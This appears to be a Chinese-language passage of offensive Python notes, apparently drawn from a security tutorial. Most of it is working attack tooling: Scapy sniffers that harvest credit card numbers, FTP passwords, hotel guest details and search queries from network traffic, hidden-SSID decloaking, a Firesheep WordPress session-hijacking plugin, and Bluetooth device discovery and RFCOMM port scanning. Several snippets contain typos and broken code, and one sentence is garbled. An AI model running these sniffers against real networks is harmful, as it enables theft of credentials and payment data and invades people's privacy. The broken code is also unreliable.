为了找出使用火绵羊的黑客，要确认的是攻击者在不同的 IP 地址上重复使用这些 cookie 值。为了检测出这一情况，要修改之前的脚本。
用 Python 搜寻蓝牙
为了能与蓝牙资源进行交互操作，需要 PyBluez 这个 Python 模块。该模块扩展了用于使用蓝牙资源的 Bluez 库的功能。注意，当调用 discover_devices() 之后就会把附近所有当前处于“可被发现”状态下的蓝牙设备的 MAC 地址放在一个列表中返回来。lookup_name() 可以将各个蓝牙设备的 MAC 地址转换成方便阅读的字符串。
创建一个无限循环来检测：
截取无限流量，查找（隐藏的）蓝牙设备地址
在 iPhone 里，把无线网卡的 MAC 地址加 1，就得到了这台 iPhone 的蓝牙 MAC。由于 802.11 无线协议在第 2 层中没有使用能够保护 MAC 地址的措施，所以可以很方便地嗅探到它，然后使用该信息来计算蓝牙的 MAC 地址。
来设置一个嗅探无线网卡的 MAC 地址。注意，只要 MAC 地址的前三个十六进制数 MAC 地址的前三个八位字节的 MAC 地址。前三个十六进制数是一个 OUI（Organizational Unique Identifier，组织唯一标识符），它表示的是设备制造商，你可以查询 OUI 数据库获取进一步的信息。
有了 MAC 地址后，攻击者就可以发起一个设备名称查询来确认这个设备是否真的存在。即便是在“不可被发现”模式下，蓝牙设备仍会响应设备名称的查询请求。
# sudo apt-get install python-bluez bluetooth python-obexftp
import re
def find_credit_card(raw):
america_re = re.findall("3[47][0-9]{13}", raw)
if america_re:
print("[+] Found American Express Card: {}".format(america_re[0]))
def main():
tests = []
tests.append("I would like to buy 1337 copies of that dvd")
tests.append("Bill my card: 378282246310005 for \$2600")
for test in tests:
fiind_credit_card(test)
def find_credit_card(pkt):
raw = pkt.sprintf("%Raw.load%")
america_re = re.findall("3[47][0-9]{13}", raw)
master_re = re.findall("5[1-5][0-9]{14}", raw)
visa_re = re.findall("4[0-9]{12}(?:[0-9]{3})?", raw)
if america_re:
print("[+] Found American Express Card: {}".format(america_re[0]))
if master_re:
print("[+] Found MasterCard Card: {}".format(master_re[0]))
if visa_re:
print("[+] Found Visa Card: {}".format(visa_re[0]))
def find_guest(pkt):
raw = pkt.sprintf("%Raw.load%")
name = re.findall("(?i)Last_NAME=(.*)&", raw)
room = re.findall("(?i)ROOM_NUMBER=(.*)'", raw)
if name:
print("[+] Found Hotel Guest {}, Room #".format(name[0], root[0]))
def find_google(pkt):
if pkt.haslayer(Raw):
payload = pkt.getlayer(Raw).load
if "GET" in payload:
if "google" in payload:
r = re.findall(r"(?i)\&q=(.*?)\&", payload)
if r:
search = r[0].split("&")[0]
search = search.replace("q=", "").replace("+", " ").replace("%20", " ")
print("[+] Searched For: {}".format(search))
from scapy.all import *
def ftp_sniff(pkt):
dest = pkt.getlayer(IP).dst
raw = pkt.sprintf("%Raw.load%")
user = re.findall("(?i)USER (.*)", raw)
pswd = re.findall("(?i)PASS (.*)", raw)
if user:
print("[*] Detected FTP Login to {}".format(dest))
print("[+] User account: {}".format(user[0]))
elif pswd:
print("[+] Password: {}".format(pswd[0]))
from scapy.all import *
interface = "mon0"
probe_reqs = []
def sniff_probe(p):
if p.haslayer(Dot11ProbeReq):
net_name = p.getlayer(Dot11ProbeReq).info
if net_name not in probe_reqs:
probe_reqs.append(net_name)
print("[+] Detected New Probe Request: {}".format(net_name))
sniff(iface=interface, prn=sniff_probe)
def sniff_dot11(p):
if p.haslayer(Dot11Beacon):
if p.getlayer(Dot11Beacon).info == "":
addr2 = p.getlayer(Dot11).addr2
if addr2 not in hidden_nets:
print("[-] Detected Hidden SSID: with MAC: {}".format(addr2))
import sys
from scapy.all import *
interface = "mon0"
hidden_nets = []
unhidden_nets = []
def sniff_dot11(p):
if p.haslayer(Dot11ProbeResp):
addr2 = p.getlayer(Dot11).addr2
if addr2 in hidden_nets and addr2 not in unhidden_nets:
net_name = p.getlayer(Dot11ProbeResp).info
print("[+] Decloaked Hidden SSID: {} for MAC: {}".format(net_name, addr2))
unhidden_nets.append(addr2)
if p.haslayer(Dot11Beacon):
if p.getlayer(Dot11Beacon).info == "":
addr2 = p.getlayer(Dot11).addr2
if addr2 not in hidden_nets:
print("[-] Detected Hidden SSID: with MAC: {}".format(addr2))
hidden_nets.append(addr2)
sniff(iface=interface, prn=sniff_dot11)
# airmon-ng start wlan0
# tcpdump-nn-i mon0
from scapy.all import *
NAVPORT = 5556
def print_pkt(pkt):
if pkt.haslayer(UDP) and pkt.getlayer(UDP).dport == NAVPORT:
raw = pkt.sprintf("%Raw.load%")
print(raw)
conf.iface = "mon0"
sinff(prn=print_pkt)
register({
name: "Wordpress",
matchPacket: function(packet) {
for (varcookieName in packet.coookies) {
if (cookieName.match0) {
return true;
}
}
},
processPacket: function () {
this.siteUrl += "wp-admin/"
for (varcookieName in this.firstPacket.cookies) {
if (cookieName.match(/^wordpress_[0-9a-fA-F]{32}$/)) {
this.sessionId = this.firstPacket.cookies[cookieName];
break;
}
}
},
identifyUser: function () {
var resp = this.httpGet(this.siteUrl);
this.userName = resp.body.querySelectorAll("#user_info a")[0].textContent;
this.siteName = "Wordpress (" + this.firstPacket.host + ")";
}
});
import re
from scapy.all import *
def fire_catcher(pkt):
raw = pkt.sprintf("%Raw.load%")
r = re.findall("wordpress_[0-9a-fA-F]{32}", raw)
if r and "Set" not in raw:
print("{}>{} Cookie: {}".format(pkt.getlayer(IP).src, pkt.getlayer(IP).dst, r[0]))
conf.iface = "mon0"
sniff(filter="tcp port 80", prn=fire_catcher)
import re
import optparse
from scapy.all import *
cookie_table = {}
def fire_catcher(pkt):
raw = pkt.sprintf("%Raw.load%")
r = re.findall("wordpress_[0-9a-fA-F]{32}", raw)
if r and "Set" not in raw:
if r[0] not in cookie_table.keys():
cookie_table[r[0]] = pkt.getlayer(IP).src
print("[+] Detected and indexed cookie.")
elif cookie_table[r[0]] != pkt.getlayer(IP).src:
print("[*] Detected Conflict for {}".format(r[0]))
print("Victim = {}".format(cookie_table[r[0]]))
print("Attacker = {}".format(pkt.getlayer(IP).src))
def main():
parser = optparse.OptionParser("usage %prog -i<interface>")
parser.add_option("-i", dest="interface", type="string", help="specify interface to listen on")
options, args = parser.parse_args()
if options.interface == None:
print(parser.usage)
exit(-1)
else:
conf.iface = options.interface
try:
sniff(filter="tcp port 80", prn=fire_catcher)
except KeyboardInterrupt:
exit(0)
from bluetooth import *
dev_list = discover_devices()
for device in dev_list:
name = str(lookup_name(device))
print("[+] Found Bluetooth Device {}".format(str(name)))
print("[+] MAC address: {}".format(str(device)))
import time
from bluetooth import *
already_found = list()
def find_devs():
found_devs = discover_devices(lookup_names=True)
for addr, name in found_devs:
if addr not in already_found:
print("[*] Found Bluetooth Device: {}".format(name))
print("[+] MAC address: {}".format(addr))
already_found.append(addr)
while True:
find_devs()
time.sleep(5)
from scapy.all import *
def wifi_print(pkt):
iPhone_OUI = "d0:23:db"
if pkt.haslayer(Dot11):
wifi_mac = pkt.getlayer(Dot11).addr2
if iPhone_OUI == wifi_mac[:8]:
print("[*] Detected iPhone MAC: {}".format(wifi_mac))
conf.iface = "mon0"
sniff(prn=wifi_print)
def check_bluetooth(bt_addr):
bt_name = lookup_name(bt_addr)
if bt_name:
print("[+] Detected Bluetooth Device: {}".format(bt_name))
else:
print("[-] Failed to Detect Bluetooth Device.")
from bluetooth import *
def rf_comm_con(addr, port):
sock = BluetoothSocket(RFCOMM)
try:
sock.connect((addr, port))
print("[+] RFCOMM Port {} open".format(port))
sock.close()
except Exception as e:
print("[-] RFCOMM Port {} closed".format(port))
for port in range(1, 30):
rf_comm_con("00:16:38:DE:AD:11", port)
from bluetooth import *
def sdp_browse(addr):
services = find_service(address=addr)
for service in services:
name = service["name"]
proto = service["protocol"]
port = str(service["port"])
print("[+] Found {} on {}:{}".format(name, proto, port))
sdp_browse("00:16:38:DE:AD:11")